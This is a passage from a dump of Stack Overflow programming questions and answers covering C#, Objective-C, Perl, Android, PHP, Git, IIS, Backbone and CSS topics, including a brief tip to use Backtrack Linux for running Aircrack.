"application/msword"}, {".wbmp", "image/vnd.wap.wbmp"}, {".wcm", "application/vnd.ms-works"}, {".wdb", "application/vnd.ms-works"}, {".wdp", "image/vnd.ms-photo"}, {".webarchive", "application/x-safari-webarchive"}, {".webtest", "application/xml"}, {".wiq", "application/xml"}, {".wiz", "application/msword"}, {".wks", "application/vnd.ms-works"}, {".WLMP", "application/wlmoviemaker"}, {".wlpginstall", "application/x-wlpg-detect"}, {".wlpginstall3", "application/x-wlpg3-detect"}, {".wm", "video/x-ms-wm"}, {".wma", "audio/x-ms-wma"}, {".wmd", "application/x-ms-wmd"}, {".wmf", "application/x-msmetafile"}, {".wml", "text/vnd.wap.wml"}, {".wmlc", "application/vnd.wap.wmlc"}, {".wmls", "text/vnd.wap.wmlscript"}, {".wmlsc", "application/vnd.wap.wmlscriptc"}, {".wmp", "video/x-ms-wmp"}, {".wmv", "video/x-ms-wmv"}, {".wmx", "video/x-ms-wmx"}, {".wmz", "application/x-ms-wmz"}, {".wpl", "application/vnd.ms-wpl"}, {".wps", "application/vnd.ms-works"}, {".wri", "application/x-mswrite"}, {".wrl", "x-world/x-vrml"}, {".wrz", "x-world/x-vrml"}, {".wsc", "text/scriptlet"}, {".wsdl", "text/xml"}, {".wvx", "video/x-ms-wvx"}, {".x", "application/directx"}, {".xaf", "x-world/x-vrml"}, {".xaml", "application/xaml+xml"}, {".xap", "application/x-silverlight-app"}, {".xbap", "application/x-ms-xbap"}, {".xbm", "image/x-xbitmap"}, {".xdr", "text/plain"}, {".xht", "application/xhtml+xml"}, {".xhtml", "application/xhtml+xml"}, {".xla", "application/vnd.ms-excel"}, {".xlam", "application/vnd.ms-excel.addin.macroEnabled.12"}, {".xlc", "application/vnd.ms-excel"}, {".xld", "application/vnd.ms-excel"}, {".xlk", "application/vnd.ms-excel"}, {".xll", "application/vnd.ms-excel"}, {".xlm", "application/vnd.ms-excel"}, {".xls", "application/vnd.ms-excel"}, {".xlsb", "application/vnd.ms-excel.sheet.binary.macroEnabled.12"}, {".xlsm", "application/vnd.ms-excel.sheet.macroEnabled.12"}, {".xlsx", "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"}, {".xlt", "application/vnd.ms-excel"}, {".xltm", "application/vnd.ms-excel.template.macroEnabled.12"}, {".xltx", "application/vnd.openxmlformats-officedocument.spreadsheetml.template"}, {".xlw", "application/vnd.ms-excel"}, {".xml", "text/xml"}, {".xmta", "application/xml"}, {".xof", "x-world/x-vrml"}, {".XOML", "text/plain"}, {".xpm", "image/x-xpixmap"}, {".xps", "application/vnd.ms-xpsdocument"}, {".xrm-ms", "text/xml"}, {".xsc", "application/xml"}, {".xsd", "text/xml"}, {".xsf", "text/xml"}, {".xsl", "text/xml"}, {".xslt", "text/xml"}, {".xsn", "application/octet-stream"}, {".xss", "application/xml"}, {".xtp", "application/octet-stream"}, {".xwd", "image/x-xwindowdump"}, {".z", "application/x-compress"}, {".zip", "application/x-zip-compressed"}, #endregion }; } } </code></pre>
29476522	0	 <p>I have tried using Aircrack on several Linux distribution and issues like this one happened quite often (usually because of dependency problems).</p> <p>I solved all problems by installing <a href="http://www.backtrack-linux.org/" rel="nofollow" title="Backtrack">Backtrack</a>, which contains all the packages you need, pre-installed.</p> <p>You can install it to USB drive as well</p>
18939806	0	Accessing an Objective-C ivar from outside the class at runtime <p>I know this idea completely breaks encapsulation, but say I have the following class extension:</p> <pre><code>@interface MyClass () { int reallyImportantIvar; } // ... @end </code></pre> <p>Normally, the class behaves like it should inside the Objective-C layer - sending and receiving messages, etc. However there is one ('public') subroutine where I need the best possible performance and very low latency, so I would prefer to use a C method. Of course, if I do, I can no longer access <em>reallyImportantIvar</em>, which is the key to my performance-critical task.</p> <p>It seems I have two options:</p> <ol> <li>Make the instance variable a static variable instead.</li> <li>Directly access the instance variable through the Objective-C runtime.</li> </ol> <p>My question is: is Option 2 even possible, and if so, what is its overhead? (E.g. Am I still looking at an O(n) algorithm to look up a class's instance variables anyway?)</p>
30071578	0	 <p>This may occur if you started transaction explicitly. Every explicit transactions must be finished explicitly. So, if your connection is open explicitly, you should close it explicitly.</p> <p>You may use :</p> <pre><code>//Commit(Stop) the transaction before open an other connection if Dm.Transaction.InTransaction then dm.Transaction.Commit; </code></pre> <blockquote> <p>Note: In applications that connect an InterBaseExpress dataset to a client dataset, every query must be in its own transaction. You must use one transaction component for each query component.</p> </blockquote> <p><a href="http://docwiki.embarcadero.com/Libraries/XE8/en/IBX.IBDatabase.TIBTransaction" rel="nofollow">http://docwiki.embarcadero.com/Libraries/XE8/en/IBX.IBDatabase.TIBTransaction</a> </p>
25326017	0	Perl regex forward reference <p>I would like to match a forward reference with regexp. The pattern I am looking for is</p> <pre><code>[snake-case prefix]_[snake-case words] [same snake-case prefix]_number </code></pre> <p>For example: </p> <pre><code>foo_bar_eighty_twelve foo_bar_8012 </code></pre> <p>I cannot extract <code>foo_bar</code> and <code>eighty_twelve</code> without looking first at <code>foo_bar_8012</code>. Thus I need a forward reference, not a backward reference which work only if my prefix is not a snake-case prefix. </p> <pre><code>my $prefix = "foo"; local $_ = "${prefix}_thirty_two = ${prefix}_32"; # Backward reference that works with a prefix with no underscores { /(\w+)_(\w+) \s+ = \s+ \1_(\d+)/ix; print "Name: $2 \t Number: $3\n"; } # Wanted Forward reference that do not work :( { /\2_(\w+) \s+ = \s+ (\w+)_\d+/ix; print "Name: $1 \t Number: $2\n"; } </code></pre> <p>Unfortunately, my forward reference does not work and I do not know why. I've read that Perl support that kind of patterns. </p> <p>Any help ? </p>
15949234	0	 <p>This happens because you have forgot a newline at the end of your log message. When the kernel outputs a partial message (by passing a string to <code>printk()</code> that does not end with a newline), the logging system will buffer the text until the rest of the message arrives. See also — <a href="http://lwn.net/Articles/503430/" rel="nofollow"><code>printk()</code> problems</a>.</p>
24660037	0	general backbone/marionette program structure <p>I need some general guidelines on how to structure a backbone/marionette application. Im very new to these frameworks and also to js in general.</p> <p>Basically I have two pages and each page has a list. I have set up an application and a router for the application:</p> <pre><code>var app = new Backbone.Marionette.Application(); app.module('Router', function(module, App, Backbone, Marionette, $, _){ module.AppLayoutView = Marionette.Layout.extend({ tagName: 'div', id: 'AppLayoutView', template: 'layout.html', regions: { 'contentRegion' : '.main' }, initialize: function() { this.initRouter(); }, ... }); module.addInitializer(function() { var layout = new module.AppLayoutView(); app.appRegion.show(layout); }); }); </code></pre> <p>In the initRouter I have two functions, one for each page that gets called by router depending on the url.</p> <p>The function for the content management page looks like this:</p> <pre><code>onCMNavigated: function(id) { var cMModule = App.module("com"); var cM = new cMModule.ContentManagement({id: id, region: this.contentRegion}); contentManagement.show(); this.$el.find('.nav-item.active').removeClass('active'); this.cM.addClass('active'); } </code></pre> <p>So if this is called, I create a new instance of ContentManagement model. In this model, when show() is called, I fetch the data from a rest api, and I parse out an array of banners that need to be shown in a list view. Is that ok? The model looks like the following:</p> <pre><code>cm.ContentManagement = Backbone.Model.extend({ initialize: function (options) { this.id = options.id; this.region = options.region; }, show: function() { var dSPage = new DSPage({id: this.id}); dSPage.bind('change', function (model, response) { var view = new cm.ContentManagementLayoutView(); this.region.show(view); }, this); dSPage.fetch({ success: function(model, response) { // Parse list of banners and for each create a banner model } } }); cm.ContentManagementLayoutView = Marionette.Layout.extend({ tagName: 'div', id: 'CMLayoutView', className: 'contentLayout', template: 'contentmanagement.html', regions: { 'contentRegion' : '#banner-list' } }); </code></pre> <p>Now my biggest doubt is how do I go on from here to show the banner list? I have created a collectionview and item view for the banner list, but is this program structure correct?</p>
34472810	0	 <p><strong>1</strong> </p> <p>First of all, you create a protocol <code>ErrorPopoverRenderer</code> with a <em>blueprint</em> for method <code>presentError(...)</code>. You thereafter extend the class <code>UIViewController</code> to conform to this protocol, by implementing the (compulsory) blueprint for method <code>presentError(...)</code>.</p> <p>This means that you can subclass <code>UIViewController)</code> with additional protocol constraint <code>ErrorPopoverRenderer</code> for the subclass. If <code>UIViewController</code> had not been extended to conform to protocol <code>ErrorPopoverRenderer</code>, the subsequent code in the example you linked would case compile time error (<code>... does not comply to protocol ErrorPopoverRenderer</code>)</p> <pre><code>class KrakenViewController: UIViewController, ErrorPopoverRenderer { func failedToEatHuman() { //… //Throw error because the Kraken sucks at eating Humans today. presentError(ErrorOptions(message: "Oh noes! I didn't get to eat the Human!", size: CGSize(width: 1000.0, height: 200.0))) //Woohoo! We can provide whatever parameters we want, or no parameters at all! } } </code></pre> <p>However, there is a possible issue with this method, as presented in your link:</p> <blockquote> <p>Now we have to implement every parameter every time we want to present an ErrorView. This kind of sucks because we can’t provide default values to protocol function declarations.</p> </blockquote> <p>So of the protocol <code>ErrorPopoverRenderer</code> is not intended solely for use by <code>UIViewController</code>:s (or subclasses thereof), then the solution above isn't very generic.</p> <p><strong>2</strong></p> <p>If we want to have a more broad use of <code>ErrorPopoverRenderer</code>, we place the <em>specific</em> blueprints for each class type that might make use of the protocol in <em>protocol extensions</em>. This is really neat as the more specifics parts of <code>ErrorPopoverRenderer</code> blueprints for method <code>presentError()</code> can be specified differently for different classes that are to possibly conform to the protocol, and the method <code>presentError()</code> can be made more minimalistic.</p> <p>I quote, from the example:</p> <blockquote> <p>Using <strong>Self</strong> here indicates that that extension will only ever take place if and only if the conformer inherits from UIViewController. This gives us the ability <strong>to assume that the ErrorPopoverRenderer is indeed a UIViewController</strong> without even extending UIViewController.</p> </blockquote> <p>In this method, since <strong>the code now knows</strong> (we did, already in 1.) that it is a view controller that will call <code>presentError()</code>, we can place the specific <code>UIViewController</code> stuff directly in the blueprint implementation, and needn't send it as a long list of arguments.</p> <p>Hence, 2. is, for this specific use, a kind of more "generic" approach, in the sense that we slightly minimise code duplication (calling <code>presentError()</code> vs <code>presentError(... lots of args ...)</code> from several different <code>UIViewController</code>:s).</p>
3447685	0	 <blockquote> <p>How nice of Microsoft to require registration now if we want to provide them information that will make their tool better.</p> </blockquote> <p>The reasoning behind it is probably this:</p> <ul> <li><p>Registration is for your own protection: If there was no registration, anyone could have error reports for your app problems sent to them. Even (and specifically) your competitors!</p></li> <li><p>A Certification Authority (CA) verifies the identity of the ISV (independent software vendor) companies that register with them. Microsoft uses the certificate as proof of identity of an ISV company that registers with Winqual. If they had to do the ID checking themselves, they'd likely need an own department for this.</p></li> <li>The registration is to allow <em>you</em> to make <em>your</em> application better, to cut down on future support and to keep <em>your</em> customer base happy. It's not for "their tool". Correct? :-)</li> </ul>
28393248	0	 <p>You cannot overload functions in C, but you can organize your code to make it optimal. I would create a function for <code>rgb2hsv</code> and that would get a <code>void *</code> type of parameter, would determine the type and use it, handling all possible cases. And you should use only this function. On lower levels you still duplicate your function, on higher level you will not have to call two separate functions. This would simplify usage.</p>
12371672	0	 <pre><code>return Class.forName(className); </code></pre> <p>regarding your edit, you cannot "cast" a string value to a long value. in order to convert a string value to some other type, then you need something more complex, like <a href="http://commons.apache.org/beanutils/api/org/apache/commons/beanutils/ConvertUtils.html" rel="nofollow">this</a>.</p>
13843641	0	Query result is different when executing a simple search in PHP <p>I am executing the following query in a MySQL database (look at SELECT AND WHERE, the rest is not important):</p> <pre><code>SELECT distinct fname //more fields... FROM filedepot_files AS ff INNER JOIN filedepot_categories AS fc ON ff.cid = fc.cid INNER JOIN filedepot_access AS fa ON fc.cid = fa.catid WHERE fa.permid=$id AND fname LIKE '%$key%' ORDER BY DATE </code></pre> <p>The environment is a PHP script running under Drupal with FileDepot module but I doubt that matters at all.</p> <p>This is the PHP script (well the part that matters):</p> <pre><code>$id = 1; $key = $_GET['key']; $query = .... (see above) $result = db_query($query); while($row = db_fetch_array($result)){ //do stuff echo $row['fname']; } </code></pre> <p><code>db_query()</code> is a Drupal method that allows to easily execute SQL queries and a returns an array, <code>db_fetch_array()</code> allows to parse the result.</p> <p>Now, DB contains the following entries for fname (there are more, these are just examples):</p> <ul> <li>Dichiarazione 1</li> <li>Dichiarazione 2</li> <li>Guida 1</li> <li>Guida 2</li> </ul> <p>If I launch the script with "guida" as key it correctly returns the two entries both with PHP and MySQL. If i use "Guida" it works as well. However if I use "dichiarazione" it doesnt with PHP while it does with MySQL. Strange thing is that "Dichiarazione" works both with PHP and MySQL.</p> <p>What is wrong with the query? I tryed to use <code>LOWER(fname) LIKE '%$key%'</code> but it doesn't seem to work as intended.</p> <p>I am sure there is something stupid that I am missing but I can't seem to find what that is...</p>
21391241	0	Best way to store / retrieve this data in IOS ( a single word and a path to a file ) <p>I know there are probably many ways to do this. </p> <p>I am wondering what direction I should look into for this. I need speed and ease of use. I'm going to guess go with an associative array. But interested in what the seasoned ios developers have to say on it.</p> <p>basically it will be about 50-200 items. No more than that. Each item containing a single word and a path to a file. ( note that details of the file will be processed / incorporated into the app at runtime ).</p>
20210111	0	NSLog(@" %@",NSStringFromCGRect([(UIButton*)[array lastObject]frame])); <pre><code>NSLog(@" %@",NSStringFromCGRect([(UIButton*)[array lastObject]frame])); </code></pre> <p>what is the error in this statement. My code is breaking error [__NSArrayI frame]: unrecognized selector sent to instance 0x1c5f2e00</p>
18737270	0	System subheadings in Android app <p>Like here.</p> <p><img src="https://i.stack.imgur.com/Nbu0i.png" alt="enter image description here"></p> <p>Like those blue <code>phone</code>, <code>email</code> , <code>adress</code>. I've been googling for a while, havn't found any built-in way to add them :(. Is there any? (Supporting 2.3, preferably)</p> <p><strong>Here is the same question with good answer too</strong>: <a href="http://stackoverflow.com/questions/10020466/android-4-0-sub-title-section-label-styling">Android 4.0 Sub-Title (section) Label Styling</a></p> <p><strong>And here is the <em>more or less</em> good way to reach what I want (but it's grey):</strong> <code>&lt;TextView style="?android:attr/listSeparatorTextViewStyle" ... &gt;</code></p>
32986183	0	 <p>This one worked for me 100% after trying a bunch of other things:</p> <ol> <li>Go to Tools -> Options -> Environment -> Keyboard -> Press the (RESET) button </li> <li>Go to ReSharper - > Options -> Keyboard &amp; Menus -> Select the "Visual Studio" scheme -> Press "Apply Scheme"</li> <li>Press "Save"</li> <li>Press "CTRL-T". Since this shortcut is mapped in both VS and Resharper, you will be presented with the "Shortcut Conflict"-window. Here you select "Use ReSharper (Ultimate) command" and make sure to check the box "Apply to all ReSharper (Ultimate) shortscuts".</li> </ol> <p>Voila!</p>
33001590	0	nullPointerException after Screen rotation <p>I get nullPointerException exception returned by object <code>LinearLayout</code> after screen rotation although i am passing null in <code>onCreate()</code> super.onCreate(null); . I know Activity must be destroyed and re-created beside i'm passing savedInstanceState = null that mean Activity should start after rotation as it start for first time, why i get this Exception after rotation ?</p> <p><strong>onCreate() snippet where <code>LinearLayout</code> object called historyText</strong></p> <pre><code>LinearLayout historyText ; // this return exception if it used after rotation . @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(null); setContentView(R.layout.activity_main); historyText = (LinearLayout) findViewById(R.id.historyLayoutText); Log.e("HISTORYVISIBILITY", "VISIBILITY = "+historyText.getVisibility()); getWindow().getDecorView().setSystemUiVisibility( View.SYSTEM_UI_FLAG_LAYOUT_STABLE | View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN); database = new Database(this); Bundle extras = getIntent().getExtras(); intent = extras.getInt("activity"); p = new Progress(); getSupportFragmentManager().beginTransaction() .add(R.id.group, p) .commit(); orientation = getRotation(); switch (orientation){ case "p" : addPlus(); } } </code></pre> <p><strong>Logcat</strong></p> <pre><code> 10-07 22:21:24.365: E/AndroidRuntime(7768): FATAL EXCEPTION: main 10-07 22:21:24.365: E/AndroidRuntime(7768): Process: developer.mohab.gymee, PID: 7768 10-07 22:21:24.365: E/AndroidRuntime(7768): java.lang.RuntimeException: Unable to start activity ComponentInfo{developer.mohab.gymee/developer.mohab.gymee.Cardio.Cardio}: java.lang.NullPointerException: Attempt to invoke virtual method 'int android.widget.LinearLayout.getVisibility()' on a null object reference 10-07 22:21:24.365: E/AndroidRuntime(7768): at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2379) 10-07 22:21:24.365: E/AndroidRuntime(7768): at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2442) 10-07 22:21:24.365: E/AndroidRuntime(7768): at android.app.ActivityThread.handleRelaunchActivity(ActivityThread.java:4053) 10-07 22:21:24.365: E/AndroidRuntime(7768): at android.app.ActivityThread.access$900(ActivityThread.java:156) 10-07 22:21:24.365: E/AndroidRuntime(7768): at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1357) 10-07 22:21:24.365: E/AndroidRuntime(7768): at android.os.Handler.dispatchMessage(Handler.java:102) 10-07 22:21:24.365: E/AndroidRuntime(7768): at android.os.Looper.loop(Looper.java:211) 10-07 22:21:24.365: E/AndroidRuntime(7768): at android.app.ActivityThread.main(ActivityThread.java:5389) 10-07 22:21:24.365: E/AndroidRuntime(7768): at java.lang.reflect.Method.invoke(Native Method) 10-07 22:21:24.365: E/AndroidRuntime(7768): at java.lang.reflect.Method.invoke(Method.java:372) 10-07 22:21:24.365: E/AndroidRuntime(7768): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:1020) 10-07 22:21:24.365: E/AndroidRuntime(7768): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:815) 10-07 22:21:24.365: E/AndroidRuntime(7768): Caused by: java.lang.NullPointerException: Attempt to invoke virtual method 'int android.widget.LinearLayout.getVisibility()' on a null object reference 10-07 22:21:24.365: E/AndroidRuntime(7768): at developer.mohab.gymee.Cardio.Cardio.onCreate(Cardio.java:76) 10-07 22:21:24.365: E/AndroidRuntime(7768): at android.app.Activity.performCreate(Activity.java:5990) 10-07 22:21:24.365: E/AndroidRuntime(7768): at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1106) 10-07 22:21:24.365: E/AndroidRuntime(7768): at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2332) 10-07 22:21:24.365: E/AndroidRuntime(7768): ... 11 more 10-07 22:21:24.633: E/SurfaceFlinger(319): rejecting buffer: bufWidth=1358, bufHeight=624, front.active.{w=193, h=193} </code></pre>
40980396	0	 <p>That caused by module configuration cached. It was generated at first time to speed up reading configuration. So, after adding new service configuration always remove the cache in <code>data/cache/module-config-cache.application.config.cache.php</code> It will be created automatically if not found.</p>
32032782	0	 <p>Read the documentation, log4net is very configurable and well documented.</p> <p>Documentation: <a href="https://logging.apache.org/log4net/release/manual/configuration.html" rel="nofollow">https://logging.apache.org/log4net/release/manual/configuration.html</a></p> <pre><code>using Com.Foo; // Import log4net classes. using log4net; using log4net.Config; public class MyApp { // Define a static logger variable so that it references the // Logger instance named "MyApp". private static readonly ILog log = LogManager.GetLogger(typeof(MyApp)); static void Main(string[] args) { // Set up a simple configuration that logs on the console. BasicConfigurator.Configure(); log.Info("Entering application."); Bar bar = new Bar(); bar.DoIt(); log.Info("Exiting application."); } } </code></pre> <p>Take note the difference in the method for getting to log instance.</p> <ol> <li>You're asking for an ILog for the current Type not an explicitly a filename</li> <li>You're telling log4net to read configuration settings from the app.config/web.config</li> <li>Depending on your config you may need to use the XmlConfigurator</li> </ol> <p>An example of the .config file is:</p> <pre><code>&lt;log4net&gt; &lt;!-- A1 is set to be a ConsoleAppender --&gt; &lt;appender name="A1" type="log4net.Appender.ConsoleAppender"&gt; &lt;!-- A1 uses PatternLayout --&gt; &lt;layout type="log4net.Layout.PatternLayout"&gt; &lt;conversionPattern value="%-4timestamp [%thread] %-5level %logger %ndc - %message%newline" /&gt; &lt;/layout&gt; &lt;/appender&gt; &lt;!-- Set root logger level to DEBUG and its only appender to A1 --&gt; &lt;root&gt; &lt;level value="DEBUG" /&gt; &lt;appender-ref ref="A1" /&gt; &lt;/root&gt; &lt;/log4net&gt; </code></pre> <p>There are lots of Appenders, above is a ConsoleAppender, but a DatabaseAppender exists and other types that might fit with you're need.</p>
25321810	0	 <p>After exploration, I came across fnServerData Ajax Calling options. With the help of this API, i was able to complete this task. More details <a href="http://legacy.datatables.net/usage/callbacks" rel="nofollow">here</a></p>
16392175	0	 <p>How are you setting <code>self.newsCount</code>?</p> <p>Either you are not putting an array into <code>self.newsCount</code>, or (more likely) you are setting "<code>newsCount</code>" without <code>retaining</code> it.</p> <p>Are you using <code>ARC</code>? If not, you should be.</p>
24113368	0	 <p>Java interfaces cannot be instantiated, the programmer has to specify what implementation of the interface he wants to instantiate.</p> <p>For example, if you try to do this (replace INTERFACE with the name of the interface):</p> <pre><code>INTERFACE i = new INTERFACE(); </code></pre> <p>you will get an error, because an interface cannot be instantiated.</p> <p>What you must do is (replace IMPLEMENTATION with the name of the implementation of the interface):</p> <pre><code>INTERFACE i = new IMPLEMENTATION(); </code></pre> <p>As you can see, you ALWAYS tell the program what implementation to use for an interface. There's no room for ambiguity. </p> <p>In your example, the class TextSource is NOT instantating the interface TextReceiver (instantiation occurs with the <strong>"new"</strong> keyword). Instead, it has a constructor that receives the implementation of the interface as a parameter. Therefore, when you call TextSource you MUST tell it what implementation of TextReceiver to use.</p>
15442710	0	 <pre><code>function getMonth(monthNumber) { var monthNames = [ "January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December" ]; return monthNames[monthNumber-1]; } </code></pre>
21214993	0	 <p>Separate headers by <code>\r\n</code>.</p> <pre><code>function emailHTML($to, $from, $subject, $HTMLmessage) { $semi_rand = md5(time()); $mime_boundary = "==Multipart_Boundary_x{$semi_rand}x"; $headers = "From: ".$from . "\r\n"; $headers .= "Bcc: email@example.com\r\n"; $headers .= "MIME-Version: 1.0\r\n" . "Content-Type: multipart/mixed;\r\n" . " boundary=\"{$mime_boundary}\""; $content .= "This is a multi-part message in MIME format.\r\n\r\n" . "--{$mime_boundary}\r\n" . "Content-Type:text/html; charset=\"iso-8859-1\"\r\n" . "Content-Transfer-Encoding: 7bit\r\n\r\n" . $HTMLmessage . "\r\n\r\n"; $ok = @mail($to, $subject, $content, $headers); if(!$ok) { die("Error sending email"); } } </code></pre>
11273633	0	 <p>If you consider what <strong><a href="https://github.com/msysgit/msysgit/blob/devel/git-cmd.bat" rel="nofollow"><code>git-cmd.bat</code></a></strong> does, all you need to do is to set the right variable <code>%PATH%</code> before your git commands in your script:</p> <p>If you don't, here is what you would see:</p> <pre><code>C:\Users\VonC&gt;git --version 'git' is not recognized as an internal or external command, operable program or batch file. </code></pre> <p>I have uncompressed the <a href="http://code.google.com/p/msysgit/downloads/list" rel="nofollow">latest portable version of msysgit</a>.</p> <p>Put anywhere a <code>test.bat</code> script (so no powershell involved there) with the following content:</p> <pre><code>@setlocal @set git_install_root="C:\Users\VonC\prg\PortableGit-1.7.11-preview20120620" @set PATH=%git_install_root%\bin;%git_install_root%\mingw\bin;%git_install_root%\cmd;%PATH% @if not exist "%HOME%" @set HOME=%HOMEDRIVE%%HOMEPATH% @if not exist "%HOME%" @set HOME=%USERPROFILE% @set PLINK_PROTOCOL=ssh REM here is the specific git commands of your script git --version echo %HOME% git config --global --list </code></pre> <p>Make sure <code>HOME</code> is correctly set, because Git will look for your global git config there.</p> <p>The result will give you:</p> <pre><code>C:\Users\VonC&gt;cd prog\git C:\Users\VonC\prog\git&gt;s.bat C:\Users\VonC\prog\git&gt;git --version git version 1.7.11.msysgit.0 C:\Users\VonC\prog\git&gt;echo C:\Users\VonC C:\Users\VonC C:\Users\VonC\prog\git&gt;git config --global --list user.name=VonC </code></pre> <p>Note: that same script would work perfectly from a powershell session.</p>
6634673	0	 <p>You'll have to make them in code instead of interface builder</p> <pre><code> for (int i = 0; i &lt; n; i++) { UILabel *label = [[UILabel alloc] initWithFrame: CGRectMake(/* where you want it*/)]; label.text = @"text"; //etc... [self.view addSubview:label]; [label release]; } </code></pre>
34755770	0	modal appear behind fixed navbar <p>so i have bootstrap based site with fixed navigation bar (that follow you around the page at the top) and when i want to show modal popup, it appear behind those navigation bar, how to fix?</p> <p>and i using <a href="https://graygrids.com/item/margo-free-multi-purpose-bootstrap-template/" rel="nofollow noreferrer">margo template from graygrids</a></p> <p>it also appear in summernote modals for uploading picture, so it looks like all modal will appear behind those navigation bar.</p> <p><a href="https://i.stack.imgur.com/mZy6x.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/mZy6x.png" alt="enter image description here"></a></p>
6952371	0	CSS Fluid layout and images <p>I am trying to create a completely fluid layout in CSS (everything in %), which would work seamlessly across platforms (desktop/mobile/tablets like iPad).</p> <p>With Fluid Layouts, can an image be made completely fluid? For example:</p> <pre><code>img { max-width:100%; } </code></pre> <ul> <li>Does this mean it will adjust/fit to any extent or window size?</li> <li>Also can this be applied to background images as well ?</li> <li>Does this property have any limitations in terms of browser implementation or anything ?</li> </ul>
18858052	0	Is this my hosts fault or mine? <p>On the net panel of my Firebug console some of the files sent with my website are racking up an alarming length of time "waiting" for a response from my server, and receiving certain files. I've done everything I can in terms of gzip, minifying code etc. and just wanted to confirm with someone who knows more than me about this stuff that the problem here is definitely with my (shared) server and not an issue.</p> <p>Link to a (cropped) screenshot of the waterfall from the normal Firefox dev tools..</p> <p><a href="http://puu.sh/4tMsf.png" rel="nofollow">screenshot</a></p> <p>I had just cleared my cache. Also in reference to anyone who might point out that it's my fault for buying a plan with a cheap, slow host on a shared plan.. please don't, I am already well aware :p</p>
33944193	0	 <p>I love pseudo elements so that's exactly what I would use here.</p> <pre><code>h1{ position:relative; } h1:after{ content:""; position:absolute; width:20%; border-top:1px solid green; bottom:0; left:40%; } </code></pre> <p>If you want the underline to be a fixed width, you'll need to use negative margins to center it.</p> <pre><code>h1:after{ content:""; position:absolute; width:100px; border-top:1px solid green; bottom:0; left:50%; margin-left:-50px; } </code></pre>
23471581	0	 <pre><code>first method </code></pre> <p>you can create an AsynTask .. Your code should run in background in order to be responsive.. otherwise it will show Not Responding ..</p> <pre><code>Second Method </code></pre> <p>You can create a seperate thread for it .. using multitasking.</p> <pre><code>Third </code></pre> <p>Right the code in the <code>onCreate</code> after <code>setContentView</code></p> <pre><code> StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder().permitAll().build(); StrictMode.setThreadPolicy(policy); </code></pre>
15165817	0	 <p>There is no canonical mechanism in Ember to store and retrieve the current user. The simplest solution is probably to save your current user's account ID to <code>Social.currentAccountId</code> when the user is authenticated (ie. in the success callback of your ajax request). Then you can perform </p> <pre><code>Social.Account.find(Social.get('currentAccountId')) </code></pre> <p>when you need to get the current user.</p>
6807908	0	How to determine if an object is at rest? <p>Using the <a href="http://physicshelper.codeplex.com/" rel="nofollow">physics helper</a> library.</p> <p>I'm trying to figure out how I can determine whether a physics object is at rest. Does anyone know how to do this or have any ideas of what I could do?</p> <p>An example scenario is a bouncy ball that can be picked up and thrown around. I tried creating a timer that times each individual bounce from a collision event with the floor and determines if the object is at rest based off of that but this does not work for if the user slides the ball to the left and right.</p> <p>Any suggestions?</p>
11807076	0	streaming video from iphone to server programatically <p>I need to implement iphone video streaming to server. I've googled a lot but I found only receiving video streams from server. It is made using UIWebView or MPMoviewPlayer. But how can I stream my captured media to server in realtime? Help me please. How can it be done?</p>
33073514	0	 <p>Once the last space of a console buffer row is used, the console cursor automatically jumps to the next line.</p> <ol> <li>Reset cursor back to the beginning before it reaches edge of console</li> <li>Erase old console output, placing cursor on next line</li> <li><p>Reset cursor back onto the line that was just cleared</p> <pre><code>while (true) { Console.Write("."); if (Console.CursorLeft + 1 &gt;= Console.BufferWidth) { Console.SetCursorPosition(0, Console.CursorTop); Console.Write(Enumerable.Repeat&lt;char&gt;(' ', Console.BufferWidth).ToArray()); Console.SetCursorPosition(0, Console.CursorTop - 1); } if (Console.KeyAvailable) break; } </code></pre></li> </ol>
7782179	0	RIA Services metadata for entities in different class <p>In my project, I have the following: - A class library that contains a Linq2SQL datacontext. - A web project containing the domainservice that uses the datacontext in the library.</p> <p>I've not found a way to add metadata to the services where I don't have to manually build all of the metadata elements myself. Is there some something I am missing?</p> <p>I am using RIA Services 1.0 - if a service pack addresses this, I'd be happy to know about it.</p>
37626429	0	 <p>Which version of IIS you are using. Assuming 7.5 or above (> Windows 2008 r2), the default log location for IIS is <strong>C:\inetpub\logs\LogFiles</strong> . Inside this all the folders are named in format W3SVC<em>siteID</em>, for example - W3SVC1. W3SVC2 etc.</p> <p>In order to find the site ID</p> <ol> <li>Open IIS Manager</li> <li>Expand server node</li> <li>Click on Sites</li> </ol> <p>In the center pane (also know as workspace) you can see site name and it's ID.</p> <p>Now usually when you browse a page in IIS something like below gets logged </p> <pre><code>2016-02-21 00:18:27 ::1 GET /index.html - 80 - ::1 Mozilla/5.0+(Windows+NT+10.0;+WOW64;+rv:44.0)+Gecko/20100101+Firefox/44.0 200 0 0 75 </code></pre> <p>However you wont see this immediately in log file as IIS buffers that in memory and flushes it later. If you want to forcefully flush the buffer to log file you can run below command from a elevated command prompt</p> <pre><code>netsh http flush logbuffer </code></pre> <p>Hope this helps!</p>
40421573	0	 <p>Try this.</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code> li.breadcr { width: 2em; height: 2em; text-align: center; line-height: 2em; border-radius: 1em; background: #0095c4; margin: 0 3em; display: inline-block; color: white; position: relative; } li.breadcr::before{ content: '' !important; position: absolute !important; top: .9em !important; left: -8em !important; width: 10em !important; height: .2em !important; background: #0095c4 !important; z-index: -1 } li.breadcr:first-child::before { display: none !important; } .active { background: #0095c4; } .active ~ li.breadcr { background: #badae4 !important; } .active ~ li.breadcr::before { background: #badae4 !important; } ul.sub{ list-style: none; } li.sub02{ display: inline-block; font-family: TeX Gyre Heros,Helvetica Neue,Helvetica,Roboto,Arial,sans-serif; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.6.3/css/font-awesome.min.css" rel="stylesheet"/&gt; &lt;ul&gt; &lt;li class="breadcr" 